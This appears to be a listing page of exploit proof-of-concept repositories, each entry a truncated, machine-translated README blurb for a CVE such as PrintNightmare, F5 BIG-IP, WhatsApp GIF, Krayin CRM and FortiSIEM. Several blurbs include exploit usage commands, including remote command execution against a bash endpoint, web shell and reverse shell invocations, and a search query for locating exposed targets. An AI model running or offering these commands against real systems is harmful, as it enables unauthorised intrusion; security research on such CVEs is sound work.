CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Preuve de concept Analyse : https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Le script Python abuse de la fonction de téléversement disponible sans authentification à l'URL /admin/files-upload/. Le script crée localement un dossier bin ...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 تنفيذ Impacket لإثبات المفهوم PrintNightmare الذي أنشأه أصلاً Zhiniang Peng @edwardzpeng و Xuefeng Li @lxf02942370 اختبار على وحدة تحكم مجال 2019 محدثة بالكامل تنفيذ مكتبات DLL الضارة عن بعد أو محلياً التثبيت قبل تشغيل الأداة، يجب عليك تثبيت نسختي من Impacket وبعد ذ...

CVE-2019-11932

CVE-2019-11932 قم بتعديل عنوان الاستماع عنوان المهاجم ومنفذ الاستماع في ملف exploit.c الكود السداسي التالي: 3139 322e 3136 382e 322e 3732 2034 3434 3420 قم بتجميع الكود: gcc -o exploit egiflib.c exploit.c قم بتشغيل الملف المُجمَّع ./exploit exploit.gif انسخ/الصق المخرجات في ملف gif قم بتشغيل مستم...

CVE-2024-28397-js2py-Sandbox-Escape

Introduction 中文 Analyse Chinois Analyse Anglais js2py est un package python populaire qui peut évaluer du code javascript à l'intérieur de l'interpréteur python. Il est utilisé par divers web scrapers pour analyser le code javascript sur le site web. Il existe une vulnérabilité dans...

CVE-2022-1388

CVE-2022-1388 الفحص والاستغلال لـ CVE-2022-1388 التثبيت: python3 -m pip install -r requirements.txt الاستخدام مفرد: python3 cve.py s fullurl apicommand مثال python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' جماعي: python3 cve.py m host list endpoint...

CVE-2024-4879

ثغرة حقن قالب Jelly في ServiceNow | إثبات المفهوم CVE-2024-4879 الوصف: قامت ServiceNow بمعالجة ثغرة في التحقق من صحة الإدخال تم اكتشافها في إصدارات Now Platform الخاصة بفانكوفر وواشنطن العاصمة. قد تمكن هذه الثغرة مستخدمًا غير موثّق من تنفيذ كود عن بُعد في سياق Now Platform. FOFA : "server :...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py يمكنك تشغيله مباشرة python server-1.py رفع ملفات بشكل تعسفي PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 التأثير كما يلي: CVE-2021-41127 server-1.py اسم النموذج الافتراضي evilimportmodel.tar.gz نموذج خبيث تجري...

CVE-2026-48907

CVE-2026-48907 — تنفيذ الأوامر عن بُعد RCE بدون مصادقة في Joomla Content Editor JCE الإصدارات ≥ 2.9.99.4 إثبات المفهوم PoC لثغرة CVE-2026-48907 — وهي ثغرة تنفيذ أوامر عن بُعد RCE بدون مصادقة بتصنيف CVSS 10.0 في إضافة Joomla Content Editor JCE. بحث من فريق Grayxploit الأمني جدول المحتويات نظرة عام...

CVE-2025-10230

CVE-2025-10230: ثغرة RCE حرجة في Samba CVSS 10.0 ملخص الثغرة CVE-2025-10230 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE ظلت مخفية في قاعدة كود Samba لمدة 13 عامًا. تتمثل الثغرة في معالجة حزم تسجيل WINS خدمة أسماء Windows للإنترنت. عند تكوينه كوحدة تحكم بالمجال مع wins support = yes وسكربت...

CVE-2021-22205

Impact de la vulnérabilité Un problème a été découvert dans GitLab CE/EE affectant toutes les versions à partir de 11.9. GitLab ne validait pas correctement les fichiers image transmis à un analyseur de fichiers, ce qui entraînait une exécution de code à distance. Produit vulnérable Gitlab CE/EE...

CVE-2024-36401-poc

CVE-2024-36401 — Injection XPath RCE dans GeoServer via OGC Exploit d'exécution de code à distance non authentifié pour GeoServer via l'injection du paramètre valueReference de filtre OGC évaluation XPath/JXPath. Avertissement : Cet outil est destiné uniquement aux tests d'intrusion autorisés et ...

CVE-2026-55200

تقرير أمني: CVE-2026-55200 📝 وصف عام CVE-2026-55200 هو ثغرة أمنية خطيرة من نوع تجاوز سعة المخزن المؤقت في الذاكرة الديناميكية تلف الذاكرة الديناميكية تؤثر على مكتبة libssh2 في الإصدارات حتى 1.11.1. تسمح لخادم SSH ضار باختراق العملاء الضعفاء الذين يتصلون به. ⚡ تفاصيل تقنية نوع الثغرة: تجاوز سعة...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit يجب استبدال عنوان system وgadget بالعنوان الفعلي الذي تم العثور عليه عبر ثغرة كشف المعلومات. بعد استبدال عنوان system وgadget، شغّل الكود لإنشاء ملف GIF التالف: الآن لنفعلها root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE الوصف نص برهان المفهوم PoC لثغرة حرجة في Krayin CRM v2.2.x تسمح بتنفيذ الأوامر عن بُعد RCE عبر تحميل ملف غير مقيد. الاستخدام Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse shell python3 exploit.py -u...

CVE-2018-1000533

Vulnérabilité d'exécution de code à distance dans GitList 0.6.0 CVE-2018-1000533 GitList est un visualiseur de référentiels Git moderne. Dans les versions de GitList 0.6.0 et antérieures, une vulnérabilité transmet des entrées insuffisamment validées aux fonctions système, ce qui permet d'exécute...

cve-2022-37298

CVE-2022-37298 : RCE dans Shinken Monitoring Versions concernées : 2.4.3 Lien de divulgation : https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 Lien CVE : https://vulners.com/cve/CVE-2022-37298 Description La classe SafeUnpickler située dans shinken/safepickle.p...

CVE-2024-23108

CVE-2024-23108 POC Exploit de preuve de concept pour exécuter aveuglément des commandes en tant que root sur des appliances FortiSIEM vulnérables. J'ai rapidement ajouté l'option de fournir une liste et quelques couleurs. L'original et tout le mérite revient à horizon3 voir l'article de blog...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - استغلال تنفيذ الأوامر عن بعد في لوحة Pterodactyl موسم HTB 10 - شرح آلة Pterodactyl نظرة عامة الهدف: آلة Pterodactyl HTB صعوبة متوسطة CVE: CVE-2025-49132 الخطورة: حرجة CVSS 9.8 نوع الهجوم: تنفيذ أوامر عن بعد بدون مصادقة المتأثر: لوحة Pterodactyl إصدار...

exploit-CVE-2020-5844

استغلال CVE-2020-5844 Pandora FMS v7.0NG.742 - تنفيذ الأوامر عن بُعد أعجبك هذا المستودع؟ امنحنا ⭐! لأغراض التعليم والبحث الأمني المصرح به فقط. مؤلف الاستغلال @UNICORDev بواسطة @NicPWNs و @Dev-Yeoj وصف الثغرة index.php?sec=godmode/extensions&sec2=extensions/filesrepo في Pandora FMS v7.0 NG تسمح...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - semble effrayant. On se souvient encore des bugs Stagefright et PNG.... Avec CVE-2019-2107, le décodeur/codec s'exécute sous l'utilisateur mediacodec et avec une vidéo "artisanalement" conçue avec tuiles activées - pspps-i1tilesenabledflag vous pouvez...